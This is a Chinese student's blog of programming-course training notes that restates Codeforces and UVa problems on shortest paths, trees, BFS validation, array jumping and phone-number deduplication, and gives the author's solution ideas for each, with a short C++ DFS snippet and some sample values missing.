样例输出

1 4 3 5

解题思路

首先提前说一下，别看它 $10^7$ 的数据范围，其实并没有几条边，可以说是弱中弱了。如果想通过原题，可以试着看看洛谷等地的题解。

所以说这是个模板题，就像 Luogu P3371 一样？不是，起码不完全是。

它加入了路径输出，而且还要输出字典序最小的路径。我的解决方法是为每个点增加一个vector，存储从1号点到这里最短且字典序最小的路径，当检测到更短的路径时一律替换为更短的路径并更新dist数组，而当检测到同样长度的路径时，如果字典序更小，就替换路径。

如何比较vector的字典序？那当然是手撸比较函数。那string自带比较函数，为什么不用string存路径？因为它会认为 1 3 15 2 要比 1 3 5 2 字典序更小。

2. 0-1串

来源：Codeforces 327A Flipping Game

个人难度评级：2

问题描述

对于一个包含 $n$ 个整数元素的序列 $a_1$、$a_2$、…、$a_n$，每个元素的值或者是 $0$ 或者是 $1$，选择两个下标 $i$ 和 $j(1 \le i \le j \le n)$, 对于所有的此范围内的元素 $a_k(i \le k \le j)$，执行操作 $a_k=1-a_k$。

选择合适的 $i$ 和 $j$，执行上述操作一次之后，可以得到的新序列中包含 $1$ 的个数最多是多少？

输入形式

输入的第一行为一个整数 $n(1 \le n \le 100)$，接来的一行为 $n$ 个整数，每个整数或者是 $0$ 或者是 $1$。

输出形式

输出为一个整数，表示执行一次上述操作后可以获得的最大 $1$ 的个数。

样例输入1

5
1 0 0 1 0

样例输出1

样例输入2

4
1 0 0 1

样例输出2

样例说明

在第一个样例中，选择 $i=2, j=5$, 改变后的序列为 $[1 1 1 0 1]$，包含4个1，很显然无法改变为 $[1 1 1 1 1]$。

在第二个样例中，选择 $i=2, j=3$，改变后的序列为 $[1 1 1 1]$，包含4个1。

解题思路

CG上的题目标签中赫然写着”动态规划 “” 前缀和 “，但这毕竟是一道CF A题，出现了范围十分小的数据范围，O(n3) 的暴力枚举算法也能轻松通过，即使是CF原数据。枚举左端点和右端点，分别计算区间左边、中间和右边的和相加张，在各种情况中取最大值即可。注意左右端点可以重合，也可以延伸到尽头。

如果嫌左右加和太慢，似乎也可以写棵线段树？其实前缀和优化之后根本不需要对左右两边进行加和，只需要对翻转的部分进行操作。对此，你可以看洛谷的题解，有一些写得不错。

3. 良心树

来源：Codeforces 1143C

个人难度评级：4

问题描述

给定一颗有根树，顶点编号为 $1~n$，树是一个无环的连通图，有根树有一个特定的顶点，称为根。

顶点 $i$ 的祖先是从根到顶点i的路径上除顶点 $i$ 以外的所有顶点，顶点 $i$ 的父母是 $i$ 的祖先中最接近 $i$ 的顶点，每个顶点都是它父母的孩子。在给定的树中，顶点 $i$ 的父母是顶点 $p_i$，对于根，$p_i$ 为 $-1$。例如：

这是一个 $n=8$ 个顶点的树，根为 $5$，顶点 $2$ 的父母为 $3$，顶点1的父母为 $5$,$6$ 的祖先为 $4$ 和 $5$，$7$ 的祖先为 $8$、$3$ 和 $5$。

在树中，其中一些顶点不尊重其他一些顶点，实际上，如果 $c_i=1$，表示顶点 $i$ 不尊重它的所有祖先，而如果 $c_i=0$，则表示它尊重它所有的祖先。

你需要一个一个地删除一些顶点，在每一步中，选择一个非根顶点，它不尊重它的父母并且它的所有孩子顶点也不尊重它。如果有几个这样的顶点，你需要选择具有最小编号的顶点。当你删除了这样的一个顶点 $v$, 则 $v$ 的所有子顶点与 $v$ 的父母顶点相连。

上图是删除顶点 $7$ 的示例。

直到树中无满足删除标准的顶点，则上述过程停止。按顺序输出你删除的所有顶点，注意这个顺序的唯一的。

输入形式

输入的第一行为一个整数 $n(1 \le n \le 10^5)$，表示树的顶点数。

接下来的 $n$ 行描述了整颗树：第 $i$ 行包含两个整数 $p_i$ 和 $c_i(1 \le p_i \le n,0 \le c_i \le 1)$，这里 $p_i$ 是顶点 $i$ 的父母，若 $c_i=0$，表示顶点 $i$ 尊重它的父母，$c_i=1$，表示顶点 $i$ 不尊重它的父母，$p_i=-1$ 时，表示顶点 $i$ 是树的根，同时 $c_i=0$。

输出形式

如果树中至少有一个顶点被删除，则按照顺序输出顶点编号，否则输入 $-1$。

样例输入1

样例输出1

1 2 4

样例输入2

样例输出2

-1

样例输入3

样例输出3

样例说明

第一个样例的删除过程如下（在图中，$c_i=1$ 的顶点是黄色的）

首先删除顶点 $1$，因为它不尊重祖先并且它的所有孩子也不尊重它，而 $1$ 是这样的顶点中编号最小的
删除后顶点 $2$ 将连接到顶点 $3$
然后删除顶点 $2$，因为它不尊重祖先并且它的所有孩子也不尊重它。
顶点 $4$ 将连接到顶点 $3$
然后删除顶点 $4$，因为它不尊重祖先，并且它的所有孩子也不尊重它（无孩子）
无更多顶点可删

在第二个样例中，无需删除顶点

顶点 $2$ 和 $3$ 的孩子尊重它们
顶点 $4$ 和 $5$ 尊重它们的祖先

在第三个样例中显示如下

解题思路

CG系统上的翻译帮了倒忙，Codeforces的题目原文也不难懂，建议去看英文原文，能够对题面有更好的理解。

下面介绍的是一种思考有难度，而其他方面十分有优势的做法。不需要图论知识，不需要树论知识（需要的知识原题已讲明），更不需要DFS！推荐大家去看Luogu@songhongyi的题解，讲得非常清楚，切中要害：题解 CF1143C 【Queen】 - 一位编程爱好者 - 洛谷博客 (luogu.org)

这道题的一个条件十分重要：不尊重就是不尊重所有祖先，同样尊重的话也是尊重所有祖先。如果一个顶点被移除，那么它的所有子结点都不尊重它，它自己也不尊重父结点。这一支，以前是，把子结点连到父结点之后也是，都是不尊重父结点的。至于尊重的，根本就不会被移除，当然更没有影响。也就是说，移除顶点时，临近点的受尊重状态并不会随之改变。

这样，从小到大删除并输出符合条件的结点，就可以转化为仅从小到大输出符合条件的结点，而不用真正的删除，反正删不删造成的影响实际上并不重要；洛谷的题目翻译隐去了这部分推导过程，使得题目变得过于简单，所以我认为不甚合适。

基于以上原因，我们进一步的确定，根本不需要建树。将每个结点输入并将那两个条件计算即可。上述的那篇题解提供了非常好的办法：位运算，准确的说是位与。初始将每个结点都设为被所有子节点不尊重，然后对它每个子节点，如果有一个尊重它，按位与之后，就是0，即被尊重。

4. 最昂贵的旅行

个人难度评级：2

问题描述

这个国家有 $n$ 个城市，编号从 $0~n-1$，城市网络中没有任何环路，但可以从任意一个城市出发沿公路直接或间接到达其他城市。

有人住在编号为 $0$ 的城市里，他希望去其他的一个城市旅行，但他不想付出更多的成本，所以他想知道去哪个城市的成本是最高的。

输入形式

输入的第一行为一个整数 $n(3 \le n \le 100)$，接下来的 $n-1$ 行每行包括 $3$ 个整数 $u、v、c(0 \le u,v \le n-1,1 \le c \le 10^4)$，意为在城市 $u$ 和 $v$ 之间有公路直接相连，且旅行需要花费的成本为 $c$。

输出形式

输出为一个整数，表示从城市 $0$ 出发去到其他的某个城市，需要付出的最大成本。

样例输入1

样例输出1

样例输入2

样例输出2

样例输入3

样例输出3

解题思路

题意：求单源最短路径中的最大值。

其实基本就是dijkstra模板题，如果你会了第1题，没有理由不会这道题。

一个小坑：道路是双向的，这体现在样例2中，如果是单向道路，那么城市1就不能到达，而题中保证了所有城市都可以到达。

5. 猫与餐厅的故事

来源：Codeforces 580C（数据差别很大）

个人难度评级：4

问题描述

公司今天发薪，阿迪想与朋友们去餐厅庆祝一下。

他住在一个非常神奇的公园里，这个公园是一个根在顶点 $1$，且由 $n$ 个顶点组成的有根树，顶点1也就是他的住所。然而不幸的是，公园也有许多的猫，阿迪已经找出了所有包含猫的顶点。

公园的叶子顶点都有餐厅，阿迪想选择一家他可以去的餐厅，但很不幸，他非常害怕猫，因而如果从餐厅去往他家的路径上有连续包含猫的数量超过 $m$ 时，他将不能去往这家餐厅。

你的任务是帮助他确认他能去的餐厅的数量。

输入形式

输入的第一行包含两个整数 $n$ 和 $m(2 \le n \le 10^5, 1 \le m \le n)$，分别表示树的顶点数以及对于阿迪来说可以忍受的最大的包含猫的连续顶点数。

第二行包含 $n$ 个整数 $a_1$、$a_2$、…、$a_n$，这里的每个 $a_i$ 或者为 $0$（顶点 $i$ 无猫），或者为 $1$（顶点 $i$ 有猫）。

接下来的 $n-1$ 行包含用形式 “$x_i$ $y_i$”（$1 \le x_i,y_i \le n, x_i \neq y_i$）表示的树的边，表示顶点 $x_i$ 和顶点 $y_i$ 之间有边相连。

输出形式

输出为一个整数，表示从阿迪家去往叶子顶点的路径上至多包含 $m$ 只猫的叶子顶点的数量。

样例输入1

样例输出1

样例输入2

7 1
1 0 1 1 0 0 0
1 2
1 3
2 4
2 5
3 6
3 7

样例输出2

样例说明

很显然，树是具有 $n$ 个顶点 $n-1$ 条边的连通图，有根树是有一个称为根的特殊顶点的树。

在样例一中

包含猫的顶点变为红色，餐厅在顶点2、3、4，阿迪不能去到在顶点2的餐厅。

在样例二中

餐厅在顶点4、5、6、7，阿迪不能去到6和7。

解题思路

这题我CF全过了，但CG全部WA，扫了一眼，似乎CG的样例比CF还猛（以至于无法显示整个样例）…… 翻译质量倒是还凑合，起码比英语读着舒服了。

此题的数据结构是树，但不是二叉树，所以并不建议使用二叉树的表示方式记录，而应该使用图的方式（毕竟树也是图嘛）。你可以使用邻接矩阵或者邻接表存储，但我更推荐链式前向星，下面的思路也是基于链式前向星展开的。

需要注意结点的编号从1开始。考虑到链式前向星，我建议边的下标也从1开始。为了防止输入边的方向并不是从根节点向叶子结点，可以考虑存成无向图，两种方向都存进去，不会MLE。

在构建完成整张图之后，使用DFS从结点1开始搜索，除了要维护当前结点编号之外，还要维护当前路径已经连续有猫的数量。一旦后者大于m，直接return。

除此之外，我们都知道到了叶子结点就要计数。但是如何判断叶子结点呢？我们用 $head[currPos]$ 表示当前结点第一条边的终点下标，而 $next[i]==1$ 第i条边不再有下一条同起点边。叶子结点只连着一条边，所以需要 $next[head[currPos]]==1$ ，来表示currPos只连了一条边（即父节点）。同时为了防止无父节点的根节点被误判，还需要加入 $currPos!=1$ 。

访问过的结点打上visited标记，因存的是无向图，这样可以防止重复访问。visited的结点也可以直接return。

之后就是对当前结点连接的结点的遍历了，如果有猫则当前连续猫数 + 1，否则清空。

6. 旅行的期望值

来源：Codeforces 839C

个人难度评级：4

问题描述

在古代阿拉伯王国，有 $n$ 座城市有 $n-1$ 条道路，每条道路连接两座城市，人们可以从任意城市出发到达另外一座城市。

西蒙住在第一个城市，骑着马沿着马路去旅行，但是这个国家非常多雾，他也看不清楚马把他带向了哪里，当他们到达一个城市时（包括第一个城市），接下来可以去往与该城市相连的任意一个城市，然而他的马有些奇特，就是只会去往以前从未到达过的城市，且对于下一个城市的选择是等概率的，直到没有可以去往的城市为止。

设每条道路的长度为1，从第一个城市开始旅行，那么这次旅行的期望长度（旅行距离的期望值）的多少？

如果你对期望值（平局值）的定义不太了解，可以查阅相关资料。

输入形式

输入的第一行为一个整数 $n(1 \le n \le 100000)$，表示城市的数量。

接下来的 $n-1$ 行，每行包含两个整数 $u_i$ 和 $v_i(1 \le u_i,v_i \le n,u_i \neq v_i)$，表示由第 $i$ 条道路连接的城市。

输入保证能从一个城市到达其他任意一个城市。

输出形式

输出一个数，表示此次旅行的距离的期望值，旅行从城市1开始。

答案的绝对或相对误差不能超过 $10^{-6}$，也就是说，如果你的答案为 $a$，正确答案为 $b$，则如果 $\frac{|a-b|}{max(1,b)} \le 10^{-6}$ 则检查程序会认为你的答案是正确的。

样例输入1

样例输出1

1.500000000000000

样例输入2

样例输出2

2.000000000000000

样例说明

在第一个样例中，旅行可以在等概率在城市3或4结束，城市3的距离为1而城市4的距离为2，因此，期望长度为1.5.

在第二个样例中，旅行可以在城市4或5结束，两个距离都是2，因此期望长度为2。

解题思路

又是奇奇怪怪但不影响做题的翻译。原题还贴了 “期望” 的Wikipedia 链接（英文），CG由于众所周知的原因已经去掉了。

这张图仍然是一棵树，和上题的遍历方法差不太多。每个结点遍历时都要传入一个double类型概率值，代表遍历到此点的概率。因为向子节点走是等概率的，所以子节点的概率要除子节点数量，而这个数量需要提前算。

计算期望，可以选择逐点加上遍历到此点的概率，也可以额外传一个深度的变量，遍历到叶子结点时乘上到此结点的概率一起加到期望里。

题目要求相对误差不超过 $10^{-6}$ 即可，Codeforces确实是这么判的，它的测试数据和样例一样，留了15位小数；而CG似乎严格按照7位小数比对判断，所以直接输出7位小数就可以了。

7. 有效的BFS

来源：Codeforces 1037D

个人难度评级：5

问题描述

在图的BFS（广度优先搜索）中，通常采用队列来保存当前顶点的邻接点，但对对应邻接点的存入顺序没有要求，因此对于一个图的BFS结果可以有多个，在本问题中，从顶点1开始，请验证一个给定的顶点序列是否为一个有效的BFS序列？

输入形式

输入的第一行为一个整数 $n (1 \le n \le 2 \times 10^{5})$ ，表示树中节点的数量。

接下来 $n-1$ 行描述了树的边，每行包含两个整数 $x$ 和 $y(1 \le x,y \le n)$，表示对应边的两个端点，输入保证给定的图构成一颗树。

最后一行为 $n$ 个互不相同的整数 $a_{1}$、$a_2$、……、$a_n (1 \le a_i \le n)$ ，代表待检验的顶点序列。

输出形式

如果待检验的序列是一个正确的BFS序列，输出 “Yes”，否则输出 “No”。

样例输入1

样例输出1

Yes

样例输入2

样例输出2

No

解题思路

个人认为这个图用邻接链表方便点，那就不用前向星了。

BFS中，属于同一个父节点的子节点，访问的顺序是任意的，但惟需保证先访问谁就要先访问谁的儿子。整体的思路就是模拟题中的BFS过程，如果发现按照题中的序列并不能完成BFS，那么就输出no然后 return。

维护一个访问序列的队列 $visitSeq$，就是正常DFS模拟过程中的访问序列；以及一个待检查队列 $reqSeq$，来自题目要求的BFS队列。

可以想到，对于遍历到的每一个BFS结点，它的 $childNum$ 个子节点必须全部放置于 $reqSeq$ 的队首，而队首的 $n$ 个元素也必须全部是这些子节点，否则就不是一个合法的BFS序列（根据先访问谁就先访问谁的子节点）。具体一点，就是逐个检查队首的前 $childNum$ 个元素是否包含在当前元素子节点的集合中，如果包含，则此处的遍历顺序是合法的，将这个元素推入待访问队列；否则，它就不合法。

更具体地来讲，给访问过的结点打上一个 $visited$ 标记，以分辨父节点和子节点。遍历每个结点的时候，将所有 $visited==0$ 的结点扔进一个子节点的 set，它的大小就是 $childNum$。然后检查 $reqSeq$ 的前n个结点是否在set内，如果在，则将其推入 $visitSeq$，同时 reqSeq.pop()；否则，直接输出no然后 return。

对于子节点非常多的测试数据（如Codeforces原题数据48），装进set是一个非常明智的提速方法，$O(log n)$ 查找起来嗖嗖的快。同时也要注意树的遍历第一个结点必须是1，忽视这一点会卡在原题数据39。

8. 数组跳远

来源：Codeforces 1472C

个人难度评级：5

问题描述

对于一个具有 $n$ 个元素的数组 $a$, 执行以下操作：

首先，选择下标 $i(1 \le i \le n)$—— 设置为数组的开始位置，放一个标记在 $i$ 处（在值 $a_i$ 的地方）
当 $i \le n$ 时，你的得分将增加 $a_i$，且将标记向右移动 $a_i$ 个位置，也就是说用 $i+a_i$ 替换 $i$，继续这个过程
如果 $i>n$，则结束操作

例如，如果 $n=5$ 且 $a=[7, 3, 1, 2, 3]$，则可以进行以下操作

选择 $i=1$，操作过程为 $ i = 1 \overset{+7}{\longrightarrow} 8 $，最后得分为 $ a_1 = 7 $
选择 $ i = 2 $，操作过程为 $ i = 2 \overset{+3}{\longrightarrow} 5 \overset{+3}{\longrightarrow} 8 $, 最后得分为 $ a_2 + a_5 = 6 $
选择 $ i = 3 $，操作过程为 $ i = 3 \overset{+1}{\longrightarrow} 4 \overset{+2}{\longrightarrow} 6 $, 最后得分为 $ a_3 + a_4 = 3 $
选择 $ i = 4 $，操作过程为 $ i = 4 \overset{+2}{\longrightarrow} 6 $, 最后得分为 $ a_4 = 2 $
选择 $ i = 5 $，操作过程为 $ i = 5 \overset{+3}{\longrightarrow} 8 $, 最后得分为 $ a_5 = 3 $

请选择合适的开始位置，使得经过上述操作后可获得最大的分数。

输入形式

输入的第一行为一个整数 $ t $ ($ 1 \leq t \leq 10^4 $)，表示测试用例的组数。

每个测试用例的第一行为一个整数 $ n $ ($ 1 \leq n \leq 2 \cdot 10^5 $)，表示数组 $a$ 的元素个数

接下来一行包含 $n$ 个整数 $ a_1, a_2, \dots, a_n $ ($ 1 \leq a_i \leq 10^9 $)，表示数组 $a$ 的元素

输出形式

对于每个测试用例，输出独立一行，表示选择合适的开始位置后经过上述操作可以获得的最大分数。

样例输入

4
5
7 3 1 2 3
3
2 1 4
6
2 1000 2 3 995 1
5
1 1 1 1 1

样例输出

解题思路

借鉴自洛谷 @Melon_Musk 的题解。讲得清楚明白，我觉得我没必要再写了。

因为 $a[i]$ 是按照位置顺序输入的，$a[i]$ 数组没必要全存起来，随输入随处理即可，可以极大幅度节省内存消耗；此人写了一个快读，输入大量数据时能够节省时间消耗，但本题时间限制为2s，scanf实测能过，甚至cin应该也可以。

9. 踩点上课

来源：Codeforces 1520G

个人难度评级：5

问题描述

阿迪通常开着闹钟睡觉，这样他才不至于上课迟到。

他想知道能否赶上第一节课，为了不迟到，他需要知道从家到学校所需要的最少时间是多少。

阿迪生活的城市是一个 $n\times{m}$ 的矩形区域，其中每个单元 $ (i, j) $ 由一个数字 $ a_{ij} $ 来表示

数字为 $-1$ 时表示该单元被占用，禁止通行
数字为 $0$ 时表示该单元是空闲的，阿迪可以穿过
数字为 $ x $ ($ 1 \le x \le 10^9 $) 时表示该单元包含入口，需要耗费的时间成本为 $x$，包含入口的单元也是空闲的，可以自由通行

从任何包含入口的单元出发，阿迪可以去往任何包含入口的其他单元，从入口 $(i,j)$ 到入口 $(x,y)$ 的时间成本总和为 $ a_{ij} + a_{xy} $。

除了在两个包含入口的单元之间移动，他也可以在具有相邻边的未被占用的单元之间移动，耗费的时间为 $w$。实际上，他也可以进入一个包含入口的单元而不使用它。

开始时，阿迪处在左上角单元 $(1, 1)$，而学校位于右下角 $(n,m)$。

输入形式

输入的第一行包含三个整数 $n$、$m$ 和 $ w $ ($ 2 \le n, m \le 2 \cdot 10^3 $ , $ 1 \le w \le 10^9 $)，此处 $n$ 和 $m$ 是城市的大小，$w$ 是在未被占用的单元之间移动所需要的时间。

接下来的 $n$ 行每行包含 $m$ 个数 ($ -1 \le a_{ij} \le 10^9 $ )，表示对单元的描述。

输入保证单元 $(1, 1)$ 和 $(n,m)$ 是空闲的。

输出形式

输出为一个数，表示阿迪去往学校需要花费的最少时间，如果他不能去到学校，则输出 $-1$。

样例输入

5 5 1
0 -1 0 1 -1
0 20 0 0 -1
-1 -1 -1 -1 -1
3 0 0 0 0
-1 0 0 0 0

样例输出

样例说明

第一组样例的说明如下：

解题思路

英语基础还可以的同学可以去看：Codeforces Round #719 (Div. 3) Editorial - Codeforces。

简单来说，首先如果用传送门，必只能用一次以达到花费最小，这样只需要考虑用传送门和不用两种情况。不用传送门，就是找起点到终点的最短路径；而如果用传送门，则需要分别找到与起点和终点间成本最小的点（不只有 $w \times {dist(D,i)}_{min}$，还要加上该传送门的权值 $a_i$，才能代表使用该传送门的成本），然后相加。将两者比较，即可得到最小成本。

具体一点来说，就是分别从起点和终点开始两次BFS，若到达另一端则更新起点终点距离，若遇到传送门则算出成本并更新最小成本值。

注意使用long long存储与距离有关的变量；各种初始值也要设定大一些，否则无法通过Codeforces测试数据（可能会卡在 #122左右，后面几个全是大数据）。

未曾设想的道路

有一种奇怪的想法：结点数和每个结点的边数不算很多，猜想可以建图，对于每个点，与相邻能通过的点之间有长为 $w$ 的边连接；如果此点是传送门点，则与其他传送门点均有长为 $a_i+a_j$ 的边连接。然后使用Dijkstra等单源最短路算法直接算出起点到终点的距离。

10. 树的优化

来源：Codeforces 682C

个人难度评级：6

问题描述

在一个原始森林里，有人发现了一颗根编号为 $1$ 的神奇树，它的每个顶点以及每条边上都标有一个数字。

然而，他发现这颗树上有些顶点有瑕疵，也称为瑕疵点。一个顶点 $v$ 被称为瑕疵点是指在它的子树中存在点 $u$，使得 $dist(v,u)>a_u$，这里 $a_u$ 是标注在顶点 $u$ 上的数字，而 $dist(v,u)$ 是所有标注在从顶点 $v$ 到顶点 $u$ 的路径上边的数字之和。

如果一个顶点只有一条路径相连，则这个顶点是树的叶子节点。但是树的根节点是叶子节点，当且仅当数树仅有一个单一顶点，即根节点。

这人决定删除一些叶子节点，直到整颗树不存在任何瑕疵点。那么，需要删除的叶子节点的最少数是多少？

输入形式

输入的第一行为一个整数 $n$ $(1 \le n \le 10^5 )$。

接下来一行为 $n$ 个整数 $a_1$、$a_2$、…、$a_n$ $(1 \le a \le 10^9)$，这里 $a_i$ 是标注在顶点 $i$ 上的数字。

接下来的 $n-1$ 描述了树中边的情况，第 $i$ 行有两个整数 $p_i$ 和 $c_i$ $(1 \le p_i \le n, -10^9 \le c_i \le 10^9)$，这意味着在顶点 $i+1$ 和 $p_i$ 之间有边相连，其上标有数字 $c_i$

输出形式

输出一个整数，表示需要删除的最少叶子节点数。

样例输入

9
88 22 83 14 95 91 98 53 11
3 24
7 -8
1 67
1 64
9 65
5 12
6 -80
3 8

样例输出

提示

以下是可能的处理过程

解题思路

这个题我做的时候觉得挺难的，主要是没读懂，而且这个题的弯绕得很多，所以给了6级。参考了【Codeforces 682C】Alyona and the Tree - AWCXV - 博客园 (cnblogs.com)。

我们设结点 $u$ 是在结点 $v$ 子树的叶子结点，如果 $dist(v,u)>a_u$，即它们之间的边权和大于 $u$ 点的点权，那么下面的 $u$ 就会让上面的 $v$ 伤心（原题说法，即瑕疵，这里习惯了不改了）。这时候，就要把下面的 $v$ 叶子移除，来让 $u$ 不因它伤心。

能让 $u$ 结点伤心的，并不一定是叶子结点，而是任何能满足边权和大于 $v$ 点权的 $v$ 结点，即使 $v$ 在中间；而只要让 $u$ 伤心，就必须移除 $v$。题面要求我们只能移除叶子结点，这样的话，如果子树中的中间结点 $v$ 让 $u$ 伤心，必须移除 $v$ 为根节点的整棵子树。这样是完全可行的，因为上面的结点伤不伤心，跟 $v$ 的子节点一点关系都没有，爱怎么移除怎么移除，不把下面的移除干净，导致伤心的 $v$ 的还没办法移除。

也正是由于 $v$ 下面的结点和上面结点是否伤心无关，我们可以知道：设结点对 $<u,v>$ 代表下面的 $v$ 让上面的 $u$ 伤心，如果 $<u,v>$ 相比 $<p,q>$ 更靠树的根部（也就是靠上），我们可以直接删除 $v$ 的子树，如果 $<p,q>$ 的关系因删除而不再存在，也并不需要在意，正好一起切没了。

这个时候，就可以想出一个并不是非常高效的算法（但应该能应付CG，没实现，不保证）：

先使用一次DFS，求出根节点和各结点之间的边权和 $dist(1,u)$，存储，因为 $dist(u,v)=dist(1,v)-dist(1,u)$。然后使用第二轮DFS，将每个遍历到的结点作为 $u$，然后再以它为根节点向下进行一层DFS，枚举它的根节点作为 $v$。检验 $u$ 是否会被 $v$ 搞伤心，如果会，直接删除通向 $v$ 的边，代表删除下面的整棵树，不会的话则继续搜索。最后再一轮DFS得到没被删除的结点数量，计算得到删掉的数量（或者在删除结点时，以被删掉的 $v$ 为起点DFS得到被删除的结点数量），输出。

注意到一个问题：对于任意结点 $v$，不管它造成了从 $1$ 到 $v$ 之间哪个结点不高兴，$v$ 为根的树都要被删除。如果我们记录从 $1$ 到 $v$ 以 $v$ 结尾的 ** 最大 ** 边权和，就不需要判上游的特定_某个_结点是否会被搞伤心（上面算法的思想），只需要一次判断，就可以得出上游_是否会有_结点被 $v$ 搞得不伤心，从而直接决定删不删掉 $v$。

那如何得出最大边权和呢？整个过程可以直接整合进一次DFS中，就是这个算法的核心。给DFS函数传入两个变量，当前结点 $u$ 的编号和最大边权和。如果最大边权和大于该节点的权值直接返回，不再搜索下去也不计数，代表这个点被删除。否则，没被删除的点计数 + 1，然后继续DFS，分两种情况：如果当前最大边权和小于0，则传入的最大边权和就是 $u$ 与子节点间的边权；否则，传入当前最大边权和 + 上述边权。这里使用了贪心的思想，来保证边权和最大，且以当前结点 $u$ 结尾。这一段结合代码来讲，就是这样：

cpp

        if (dist> 0) //dist 是当前最大边权和
        {
            dfs(to[i], dist + weight[i]); // 链式前向星存边，边号 i，to[i] 是边的终点，weight[i] 是这条边的边权
        }
        else
        {
            dfs(to[i], weight[i]);
        }

题中数据的输入方式已经表明了谁是更靠近根的节点，我们只需要存储有向边，不会出现下面的结点连往上面结点的边，也就不再需要打标记证明哪个结点访问过。

湖南大学 2021 程序设计训练笔记 - 作业训练 2

Wed, 07 Jul 2021 00:00:00 +0000

1. 字符串反转2

个人难度评级：2

问题描述

给定一个句子（只包含字母和空格），将句子中的单词位置反转，单词用空格分割, 单词之间只有一个空格，前后没有空格。比如： “hello xiao mi”-> “mi xiao hello”

输入形式

输入数据有多组，每组占一行，包含一个句子 (句子长度小于1000个字符)

输出形式

对于每个测试示例，要求输出句子中单词反转后形成的句子

样例输入

hello xiao miI am a student

样例输出

mi xiao hello
student a am I

解题思路

对于每一行，逐个输入单词压入栈，cin.peek到回车 或者文件末尾（用EOF表示，可以用 ^Z触发）就全部输出，因为输入内容最后没有回车，只判断回车是会WA掉大部分点的。

2. 487-3279

来源：UVa 696 测试数据可能不同

个人难度评级：2

问题描述

每个人都喜欢有令人难忘的电话号码。要想让电话号码变得令人难忘的一种方法是拼出一个令人难忘的单词或短语。例如，你可以拨打滑铁卢大学的电话，拨打令人难忘的电话号码TUT-GLOP。

有时只有一部分号码被用来拼写一个单词，例如，你可以拨打310-gino从Gino’s订购披萨。

要使电话号码令人难忘的另一种方法是以一种令人难忘的方式对数字进行分组。你可以从比萨饼小屋中订购比萨饼，方法是拨打他们的 “3个10”，即号码3-10-10-10。

电话号码的标准格式是七位的十进制数字，第三和第四位之间包含连字符（例如888-1200）。电话的键盘提供字母到数字的映射，如下所示：

A, B, C映射到2

D, E, F映射到3

G, H, I映射到4

J, K, L映射到5

M, N, O映射到6

P, R, S映射到7

T, U, V映射到8

W, X, Y映射到9

Q和Z没有映射。连接符不拨号，必要时可加上或去除。TUT-GLOP的标准格式是888-4567，310-GINO的标准格式是310-4466，3-10-10-10的标准格式是310-1010。

当两个电话号码有相同的标准格式时是等价的（拨同样的号码）。

你的公司正在编制本地企业的电话号码目录，作为质量控制的一部分，你需要检查没有两个（或多个）企业具有相同的电话号码。

输入形式

输入包括一个案例。输入的第一行为一个正整数，指定目录中电话号码的数目 (最多100，000)。其余的各行列出目录中的电话号码，每个号码单独占一行。每个电话号码都是一个由十进制数字、大写字母(不包括Q和z) 和连字符组成的字符串。字符串中的七个字符或是数字或是字母。

输出形式

对于出现超过一次的每个号码，按照标准格式每个输出一行，然后是空格，接着输出出现的次数。只出现1次的电话号码不输出。

样例输入

124873279ITS-EASY888-45673-10-10-10888-GLOPTUT-GLOP967-11-11310-GINOF101010888-1200-4-8-7-3-2-7-9-487-3279

样例输出

310-1010 2487-3279 4888-4567 3

解题思路

将每个电话号码转换成int之后存储，sort一遍，然后加上横线再输出重复出现的电话号码和次数即可。

3. 缺席考试的是谁？

个人难度评级：2

问题描述

程序设计考试结束了，传来个不好的消息：有一个学生没参加考试! 需要尽快知道缺席考试的人是谁，以便尽快做出处理。

糟糕的是，尽管有签到表，但由于人数较多，签到情况比较混乱：有的签到表签在一张白纸上，有的虽然签在名册上，但并不是签在自己姓名旁，更有学生签到了别的签到表上……

现在只能根据这2n-1个姓名（名册上有n个学生姓名，签到有n-1个姓名，签到姓名和名册姓名可能混在一起了），来找到缺席考试的人是谁。唯一一个有利的条件是所有参加考试的人都签了名，且只签一次，签名也都正确无误。

现在任务交给你：编写一个程序，找出缺席考试的是谁。

输入形式

有多组测试数据。

每组测试数据开始一行，是一个正整数n，表示总人数，n=0意味着输入结束并且不需要处理。

以下2n-1行，每行一个字符串，长度不超过20，表示一个人的姓名。姓名有大小写的英文字母、常用汉字组成 (注意每个汉字占2个字节，中英文姓名都不排除有重名情况)。

40% 的测试数据1 ≤ n≤ 10；

30% 的测试数据1 ≤ n≤ 100；

20% 的测试数据1 ≤ n≤ 103；

10% 的测试数据1 ≤ n≤ 104；

提示：大量输入数据，C/C++ 输入推荐使用scanf函数

输出形式

对于每组测试数据，输出一行，只包含一个字符串，表示缺席的人的姓名。

样例输入

2
张三
张三
李四
0

样例输出

李四

解题思路

这个题很蛋疼的两个地方是：

不排除有重名的情况，所以不能简单地用bool存储是否签到2次；
签到姓名和名册姓名混在了一起，所以不能采取” 先存后删” 的策略。

但是有一点不会变：没来的人，他的名字出现次数是奇数（因为缺且仅缺了一次）。所以我建立一个pair<string,int> 数组，first存放姓名，second存放名字出现次数。直接读入2n-1行，统计每个名字出现次数，那么出现了奇数次的名字一定存在缺考情况。

中文应该不需要特殊考虑。但如果你用getline函数读取名字，记得也要用getline吸收cin读取n后的回车！用getchar会WA掉。

4. 电话号码

来源：CodeForces 898C

个人难度评级：3

问题描述

Vasya有几本电话簿，记录了他的朋友们的电话号码，每一个朋友都可以有一或几个电话号码。

Vasya决定整理关于朋友电话号码的信息。给定n个字符串，来自于Vasya的电话簿中的条目。每一条都以朋友的姓名开头，然后跟着当前条目中的电话号码个数，然后是本人的电话号码。有可能几个相同的电话被记录在同一个记录中。

Vasya还认为，如果电话号码a是电话号码b的后缀（也就是说，号码b以a结尾），这两个号码被当作同一个电话号码，那么a被认为是无城市代码，它不应该被考虑。

输出整理后Vasya朋友的电话号码信息。有可能两个不同的人有相同的号码。如果一个人有两个电话号码x和y，x是y的后缀（即y以x结尾），则不输出x。

如果Vasya的电话簿中的某些朋友记录了几次，那么只需要记录一次。

输入形式

输入第一行一个整数n(1<=n<=20)，Vasya的电话簿上的条目数。

以下n行后面是描述中的格式记录。朋友的姓名中不包含空字符，长度不超过10位，由小写英文字母组成。电话号码个数在1~~10之间。每个电话号码的长度范围在1~~10之间，可以包含前导0。

输出形式

输出Vasya的朋友的电话号码的有序信息。首先输出电话簿中的朋友数目m。

接下来的m行，包含以格式 “姓名电话号码个数电话号码1 … 电话号码k" 的条目，号码间以空格分隔。每个记录包含当前朋友的所有电话号码。

每个条目输出按照姓名字母序进行排序，电话号码按照从小到大的顺序排列（注意电话号码比较规则：“1”<“01”、“12”<“012”，依此类推）

样例输入

